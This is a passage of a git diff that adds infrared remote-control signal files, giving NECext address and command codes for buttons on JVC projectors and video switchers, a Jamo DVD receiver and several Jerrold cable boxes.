00 00 00 +command: 4B 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4B 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4C 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4C 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4D 00 00 00 +# +name: COMP. +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4D 00 00 00 +# +name: INPUT_COMPONENT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 4D 00 00 00 +# +name: SCREEN_W +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 56 00 00 00 +# +name: SCREEN_S +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 57 00 00 00 +# +name: CHP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 58 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 59 00 00 00 +# +name: STAGE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 67 00 00 00 +# +name: CINEMA_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 68 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 69 00 00 00 +# +name: CINEMA_MODE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 69 00 00 00 +# +name: CINEMA_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 69 00 00 00 +# +name: NATURAL +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6A 00 00 00 +# +name: NATURAL_MODE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6A 00 00 00 +# +name: DYNAMIC +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6B 00 00 00 +# +name: USER_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6C 00 00 00 +# +name: USER_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6D 00 00 00 +# +name: USER_3 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 6E 00 00 00 +# +name: HDMI1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 70 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 70 00 00 00 +# +name: INPUT_HDMI_1 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 70 00 00 00 +# +name: HDMI2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 71 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 71 00 00 00 +# +name: INPUT_HDMI_2 +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 71 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 74 00 00 00 +# +name: GAMMA +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 75 00 00 00 +# +name: COLOUR_TEMP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 76 00 00 00 +# +name: COLOR_TEMP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 76 00 00 00 +# +name: C.TEMP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 76 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 77 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 77 00 00 00 +# +name: DYNAMIC_MODE +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 77 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 78 00 00 00 +# +name: CONTRAST_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 78 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 79 00 00 00 +# +name: CONTRAST_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 79 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7A 00 00 00 +# +name: BRIGHTNESS_UP +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7A 00 00 00 +# +name: BRIGHT_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7A 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7B 00 00 00 +# +name: BRIGHTNESS_DOWN +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7B 00 00 00 +# +name: BRIGHT_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7B 00 00 00 +# +name: COLOUR_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7C 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7C 00 00 00 +# +name: COLOUR_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7D 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7D 00 00 00 +# +name: SHARPNESS_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7E 00 00 00 +# +name: SHARP_+ +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7E 00 00 00 +# +name: SHARPNESS_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7F 00 00 00 +# +name: SHARP_- +type: parsed +protocol: NECext +address: 73 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir new file mode 100644 index 000000000..039110249 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: HIDE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8F 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 92 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 93 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 98 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9A 00 00 00 +# +name: SPECIAL +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9B 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9C 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9E 00 00 00 +# +name: RESIZE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir new file mode 100644 index 000000000..242613eb0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_MUTE +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 86 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 90 00 00 00 +# +name: OUTPUT_MONITOR +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 90 00 00 00 +# +name: MONITOR_1 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 91 00 00 00 +# +name: MONITOR_2 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 92 00 00 00 +# +name: MONITOR_3 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 93 00 00 00 +# +name: MONITOR_4 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 94 00 00 00 +# +name: MONITOR_5 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 95 00 00 00 +# +name: MONITOR_6 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 96 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 97 00 00 00 +# +name: MONITOR_7 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 98 00 00 00 +# +name: MONITOR_OUT_Y/C +type: parsed +protocol: NECext +address: F3 00 00 00 +command: 9B 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A1 00 00 00 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A1 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A2 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A2 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A3 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A3 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A4 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A5 00 00 00 +# +name: SOURCE_5 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A6 00 00 00 +# +name: SOURCE_6 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A6 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A7 00 00 00 +# +name: SOURCE_7 +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A7 00 00 00 +# +name: LOOP_PROTECT +type: parsed +protocol: NECext +address: F3 00 00 00 +command: A8 00 00 00 +# +name: DUAL_OPERATE +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AA 00 00 00 +# +name: DUAL_OPERATION +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AA 00 00 00 +# +name: KEYLOCK +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AB 00 00 00 +# +name: KEY_LOCK +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AB 00 00 00 +# +name: PROCESSOR_VIDEO +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AC 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AD 00 00 00 +# +name: PROCESSOR_AUDIO +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AD 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: F3 00 00 00 +command: AE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir new file mode 100644 index 000000000..2060f6ce7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: 0_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: 0_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: 7_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: 7_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: 8_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: 8_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: 9_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: 9_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: 4_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: 4_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: 5_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: 5_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: 6_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: 6_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: 1_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: 1_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: 2_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: 2_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: 3_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: 3_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: POWER_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: VOLUME_+_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_+_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: MENU_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: MENU_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: DVD_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2D 00 00 00 +# +name: DVD_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 2D 00 00 00 +# +name: SKIP_<<_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 32 00 00 00 +# +name: SKIP_<<_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 32 00 00 00 +# +name: SKIP_>>_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: SKIP_>>_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 34 00 00 00 +# +name: STOP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 35 00 00 00 +# +name: MODE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: MODE_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 41 00 00 00 +# +name: RADIO_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 42 00 00 00 +# +name: RADIO_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 42 00 00 00 +# +name: MUTE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 45 00 00 00 +# +name: MUTE_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 45 00 00 00 +# +name: LOAD_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 49 00 00 00 +# +name: LOAD_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 49 00 00 00 +# +name: VOLUME_-_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_-_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 4C 00 00 00 +# +name: CURSOR_RIGHT_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_RIGHT_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_LEFT_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_DOWN_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_DOWN_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_UP_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 56 00 00 00 +# +name: PLAY/PAUSE_A +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 +# +name: PLAY/PAUSE_B +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir new file mode 100644 index 000000000..0641e3ce7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir @@ -0,0 +1,338 @@ +Filetype: IR signals file +Version: 1 +# +name: CATV_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: CATV_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: CATV_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: CATV_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: CATV_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: CATV_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: CATV_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: CATV_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: CATV_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: CATV_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: CATV_CATV_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CATV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CATV_CH_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CATV_CH_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CATV_VOL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: CATV_VOL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CATV_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: CATV_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CATV_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CATV_DISP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CATV_ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: CATV_FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: FAV. +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: CATV_PROG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: PROG. +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CATV_DELETE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: CATV_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CATV_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir new file mode 100644 index 000000000..6d92a35ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir new file mode 100644 index 000000000..4d7b5269f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: tcp +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: lc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: ab +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: fc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: prgm +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: learn +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: pcpm +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir new file mode 100644 index 000000000..4e7d58bd2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir new file mode 100644 index 000000000..2b3fc8c2f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: TCP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: Learn +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: PRGM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: FC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 